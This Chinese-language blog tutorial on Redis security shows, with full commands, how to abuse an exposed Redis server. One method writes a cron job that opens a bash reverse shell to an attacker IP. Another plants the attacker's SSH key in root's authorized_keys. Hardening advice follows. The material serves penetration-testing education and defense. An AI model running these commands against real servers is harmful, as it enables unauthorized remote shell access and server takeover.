Redis 数据库安全
前言
前面说到了Redis数据库的部署,今天继续更一些关于Redix安全方面的内容,redis写入文件,redis登陆 ssh 和相关安全策略等等。
安装redis-cli
首先,想连接上远程的 redis 数据库,需要安装 redis-cli
下载压缩文件,解压并安装
wget https://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable.tar.gz
make
将src下的redis-cli命令复制到/usr/bin目录下
cp src/redis-cli /usr/bin
此时可以连接远程数据库。(记得开放端口或者关闭防火墙)
redis写入文件
计划任务反弹shell
当知道了目标的redis密码之后,便可以使用未授权的方法在其服务器上写入文件,比如一句话木马,计划任务反弹 shell 等等,进行进一步的渗透。
首先,连接上目标的redis数据库
写入反弹指令
set fantan "\n\n* * * * * bash -i >& /dev/tcp/192.168.80.131/4444 0>&1\n\n"
设置写入路径
config set dir /var/spool/cron/
写入并保存
config set dbfilename root
save
这时候在目标对应的目录下就生成了这个计划任务
我们使用nc监听端口
成功反弹。
但是这种方法只适用于centos的服务器,我们看一下写入的计划任务。
通过这种方法写入的计划任务是将redis所有都写入文件,包含了乱码,centos服务器会忽略乱码执行正确的地方,而ubuntu系统则出现乱码一整个都不会再执行了。
写入ssh公钥连接服务器
使用redis写入文件的方法,甚至可以将自己的ssh公钥写入到目标服务器上,来实现免密码登录。
生成秘钥对。
ssh-keygen -t rsa
将生成的公钥保存到文件中
(echo -e "\n\n";cat .ssh/id_rsa.pub;echo -e "\n\n";) > key.txt
将文件内容存入数据库
cat key.txt |redis-cli -h 192.168.80.136 -x set ssh
设置写入路径
config set dir /root/.ssh
设置文件名,并保存
config set dbfilename authorized_keys
save
此时查看生成的公钥
使用kali连接,成功实现免密码登录。
相关安全策略
账号登录
在连接redis数据库时候,尽量不选择使用root用户登录,root权限太高,可以选择新建权限较低的用户来使用数据库,这样数据库被攻击之后,攻击者所获得的也只是低级的用户权限,不能直接进行未授权操作。
拒绝外地访问
在redis.conf配置文件中,设置绑定127.0.0.1,即只允许本地连接,攻击者无法连接进来(绝对防御,但也会让集群中的其他用户无法使用)。
开始保护模式
redis 数据库默认开启了保护模式,也可以在配置文件中查看
保证为yes,即开启模式
修改端口
redis 默认端口为6379,可以通过修改端口的方式来隐藏数据库。
端口在配置文件中修改
为数据库设置密码
redis数据库默认未设置密码,这是很危险的,当服务器在公网时,是很容易被登陆的,可以设置密码来避免被恶意登陆。
在配置文件中添加requirepass
重启redis服务
此时再登陆redis时,不输入密码登陆时无法连通的
添加authorization认证
此时才是连接上数据库。